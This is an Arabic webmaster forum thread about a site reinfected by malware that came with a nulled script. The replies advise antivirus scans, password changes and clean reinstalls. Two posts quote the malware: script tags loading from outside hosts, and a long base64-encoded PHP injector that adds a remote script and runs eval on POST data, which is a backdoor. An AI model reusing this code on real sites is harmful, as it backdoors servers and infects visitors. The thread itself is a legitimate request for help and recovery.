النتائج 1 إلى 10 من 10

الموضوع: الفيرس ياتى للموقع كلما ازلته

  1. #1
    عضو نشيط
    تاريخ التسجيل
    Sep 2006
    المشاركات
    92

    الفيرس ياتى للموقع كلما ازلته



    اخوانى الكرام انا واخد استضافة من بلو هوست وموقعى كان شغال تمام بقاله 6شهور لكن تقريبا انا كنت ركبت سكربت nulled تقريبا كان فيه فيرس فالى حصل ان الموقع بيقفل لما لجى اشغله
    لوحده
    المهم انا فتشت فى السورس كود بتاع الموقع لقيت بعد ال head


    </head><script src=http://louisianajazzclub.net/newsite/musiques_ailleurs.php ></script>

    لما دخلت على السى بانل ودخلت على ملفات الاندكس لقيتها كلها فى كود غريب فى بداية الالصفحة قبل الاسكربت بيبداء بالاتى
    <?php eval(base64_decode
    وبعديه حروف انجليزى كتيرة جدا
    شيلت الكود ده من كل الصفحات ومع ذلك الموقع قعد شويه شغال وبعد كده لقيت الكود ده مزروع تانى فى الموقع مش عارف اعمل ايه وفى حاجة تانيه انى لما جيت احذف سكربتكنت شاكك فيه كل لما اجى احذفه يتحذف ولما اجى اعمل ريفريش للصفحة الاقيه تانى
    بالله عليكم حد يسعفنى عشان الموقع بقى فى الضياع







  2. #2


    قد لا يكون بسبب السكريبت
    ربما بسبب فيروس على جهازك
    شوف اولا نظف جهازك بانتي فيروس محرتم والله بعينك على انتي فيروس مدفوع (استخدم فترة التجربة او سيريال او اذا اعجبك اشتريه), لانه المجاني ليس بقوة المدفوع , تاكد من تنظيف كامل جهازك
    ثانيا اخي جيب نسخ نظيفة من الانترنت ولا تعتمد على التي عنك (الا اذا كان مضغوط بالاصل) ففكه وافحصه
    ثم غير الباسوورد للـCPanel وطبعا المفروض يتغير تلقائيا الـFTP واذا لم يتغير غيره ضروري
    ثم امسح السكريبت من على الاستضافة وارفع النظيفة
    طبعا تأكد من عدم وجود شيل على السيرفر وايضا اذا فيه ملفات اخرى php او JS او html على السيرف ريفضل حذفها وجلب نسخة نظيفة , باختصار عملية تطهير كاملة لموقعك
    وان شاء الله لن تعود المشكلة مرة اخرى وكن حذر في المستقبل ...





    __________________
    مدونتي: المظفر بالله
    لم يجعل الله لك الاختيار في جنسيتك او على أي ارض تولد, ولا في عروبتك, لكن ترك لك الاختيار في دينك, فدعك من العصبية الجاهلية على أساس الجنسية او العروبة, فالفضل بينكم بالتقوى.

  3. #3
    عضو نشيط جدا
    تاريخ التسجيل
    Feb 2009
    المشاركات
    444


    زي ماقال لك أخوي المظفر بالله

    1- ركب مكافح فايروس قوي مثل الكاسبر أو avira وقم بتنظيف جهازك

    2- نظف موقعك وهنا الشرح http://www.ejr7.com/vb/t4609.html






  4. #4


    زي ماقال لك أخوي المظفر بالله

    1- ركب مكافح فايروس قوي مثل الكاسبر أو avira وقم بتنظيف جهازك

    2- نظف موقعك وهنا الشرح http://www.ejr7.com/vb/t4609.html
    Avira + Avast
    هذين المضادين من افشل ما مر علي , اخي هنالك الكثير ممن عانوا المشكلة هذه وعالجت مواقعهم ولما رأيت ما عندهم من مضاد وجد هذين الاثنين رغم ان النسخ المنزلة نسخ احترافية وليس مجانية !

    انصح بالتالي على الترتيب
    Norton ثم AVG ثم الكاسبر او ESET (النود سابقا) بنفس المرتبة
    لكن على ان تكون النسخ Internet Security وليس AntiVirus , علما ان الانترنت سيكيورتي يشمل الانتي فيروس + مكافح السبام للايميلات + مكافح السباي وير + مكافح مثل هذه الفيروسات + مكافح الروابط المخادعة والخ من خصائص "مضافة" على الانتي فيروس تهم من يستخدم الانترنت بكثرة وتهم مطوري المواقع بشكل عام





    __________________
    مدونتي: المظفر بالله
    لم يجعل الله لك الاختيار في جنسيتك او على أي ارض تولد, ولا في عروبتك, لكن ترك لك الاختيار في دينك, فدعك من العصبية الجاهلية على أساس الجنسية او العروبة, فالفضل بينكم بالتقوى.

  5. #5
    عضو نشيط جدا
    تاريخ التسجيل
    Feb 2009
    المشاركات
    444


    حياك الله أخوي المظفر بالله

    بالنسبه للأفاست صادق و حقيقه اني ألوم كل من ركبه

    وبالنسبه للأفيرا واقصد avira premium security suite

    انا استخدمه من مايقارب السنه وهو جيد وخفيف على الجهاز

    قد يكون لم يعجبك يالغالي لكنه فعال

    وبخصوص الفايروس احد اصحابي وهو عضو في سوالف وجهته نفس المشكله وقمت بحلها و وقتها كنت مركب avira وهو الذي حذف الفايروس :nice:






  6. #6
    عضو فعال جدا
    تاريخ التسجيل
    Feb 2008
    المشاركات
    5,069


    أو إفحص جهازك بالكاسبر
    ولا تنسى تغير كلمة السي بانل

    ‏^‏^
    صارت معي






  7. #7
    عضو فعال
    تاريخ التسجيل
    Jul 2008
    المشاركات
    1,775


    اقسم بالله جابلى اكتئاب

    لحد ما فرمت الجهاز امس والمصيبة رجع مره اخرى للموقع !!!!!!!!!!!!!!!1

    منين !!

    كل يوم تغير الموقع وتاتى على ثلاث اشكال

    php
    js
    html


    <?مسافةphp eval(base64مسافة_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnbmc5Jykpe2Z1bmN0aW9uIG5nOSgkcyl7aWYocHJlZ1 9tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihjb3VudChleH Bsb2RlKCJcbiIsJHYpKT41KXskZT1wcmVnX21hdGNoKCcjW1wnIl1bXlxzXCciXC4sO1w/IVxbXF06Lzw+XChcKV17MzAsfSMnLCR2KXx8cHJlZ19tYXRjaCgnI1tcKFxbXShccypcZCssKXsyMCx9IycsJHYpO2lmKChwcmVn X21hdGNoKCcjXGJldmFsXGIjJywkdikmJigkZXx8c3RycG9zKCR2LCdmcm9tQ2hhckNvZGUnKSkpfHwoJGUmJnN0cnBvcygkdiwn ZG9jdW1lbnQud3JpdGUnKSkpJHM9c3RyX3JlcGxhY2UoJHYsJycsJHMpO31pZihwcmVnX21hdGNoX2FsbCgnIzxpZnJhbWUgKFte Pl0qPylzcmM9W1wnIl0/KGh0dHA6KT8vLyhbXj5dKj8pPiNpcycsJHMsJGEpKWZvcmVhY2goJGFbMF1hcyR2KWlmKHByZWdfbWF0Y2goJyNbXC4gXXdpZHRo XHMqPVxzKltcJyJdPzAqWzAtOV1bXCciPiBdfGRpc3BsYXlccyo6XHMqbm9uZSNpJywkdikmJiFzdHJzdHIoJHYsJz8nLic+Jykp JHM9cHJlZ19yZXBsYWNlKCcjJy5wcmVnX3F1b3RlKCR2LCcjJykuJy4qPzwvaWZyYW1lPiNpcycsJycsJHMpOyRzPXN0cl9yZXBs YWNlKCRhPWJhc2U2NF9kZWNvZGUoJ1BITmpjbWx3ZENCemNtTTlhSFIwY0RvdkwySmhibXRqZW1GemRTNXVaWFF2YzJaUWNtOXda V3hRYkhWbmFXNHZhVzVrWlhndWNHaHdJRDQ4TDNOamNtbHdkRDQ9JyksJycsJHMpO2lmKHN0cmlzdHIoJHMsJzxib2R5JykpJHM9 cHJlZ19yZXBsYWNlKCcjKFxzKjxib2R5KSNtaScsJGEuJ1wxJywkcywxKTtlbHNlaWYoc3RycG9zKCRzLCc8YScpKSRzPSRhLiRz O3JldHVybiRzO31mdW5jdGlvbiBuZzkyKCRhLCRiLCRjLCRkKXtnbG9iYWwkbmc5MTskcz1hcnJheSgpO2lmKGZ1bmN0aW9uX2V4 aXN0cygkbmc5MSkpY2FsbF91c2VyX2Z1bmMoJG5nOTEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2 KWlmKCgkYT0kdlsnbmFtZSddKT09J25nOScpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSRzW109 YXJyYXkoJGE9PSdkZWZhdWx0IG91dHB1dCBoYW5kbGVyJz9mYWxzZTokYSk7Zm9yKCRpPWNvdW50KCRzKS0xOyRpPj0wOyRpLS0p eyRzWyRpXVsxXT1vYl9nZXRfY29udGVudHMoKTtvYl9lbmRfY2xlYW4oKTt9b2Jfc3RhcnQoJ25nOScpO2ZvcigkaT0wOyRpPGNv dW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRuZzlsPSgoJGE9QHNldF9lcnJvcl9o YW5kbGVyKCduZzkyJykpIT0nbmc5MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?مسافة>



    document.write('<مسافةscript src=http://مسافةbankczasu.مسافةnet/sfPropelPlugin/index.php ><\/مسافةscript>');

    <sمسافةcript src=http://مسافةbankczasu.مسافةnet/sfPropelPlugin/index.php ></scriptمسافة>





    التعديل الأخير تم بواسطة ea4nt.com ; 19-02-2010 الساعة 10:34 PM

  8. #8
    عضو فعال جدا
    تاريخ التسجيل
    Feb 2008
    المشاركات
    5,069


    اخوي انا صارت معي
    تعرف ليش
    دخلت من جهاز صاحبي على FTP
    وصار كل ما يشغل جهازه يتعدل موقعي
    غير بيانات الدخول للموقع اول شي






  9. #9
    عضو فعال
    تاريخ التسجيل
    Jul 2008
    المشاركات
    1,775


    فعلت ذلك
    ان شاء الله النتيجة تكون ايجابية






  10. #10
    عضو فعال
    تاريخ التسجيل
    Jul 2008
    المشاركات
    1,775


    جزاك الله كل خير

    فعلا لم يعد الفيرس مجددا

    شكرا لك مجددا










ضوابط المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •  

أضف موقعك هنا| اخبار السيارات | حراج | شقق للايجار في الكويت | بيوت للبيع في الكويت | دليل الكويت العقاري | مقروء | شركة كشف تسربات المياه | شركة عزل اسطح بالرياض | عزل فوم بالرياض| عزل اسطح بالرياض | كشف تسربات المياة بالرياض | شركة عزل اسطح بالرياض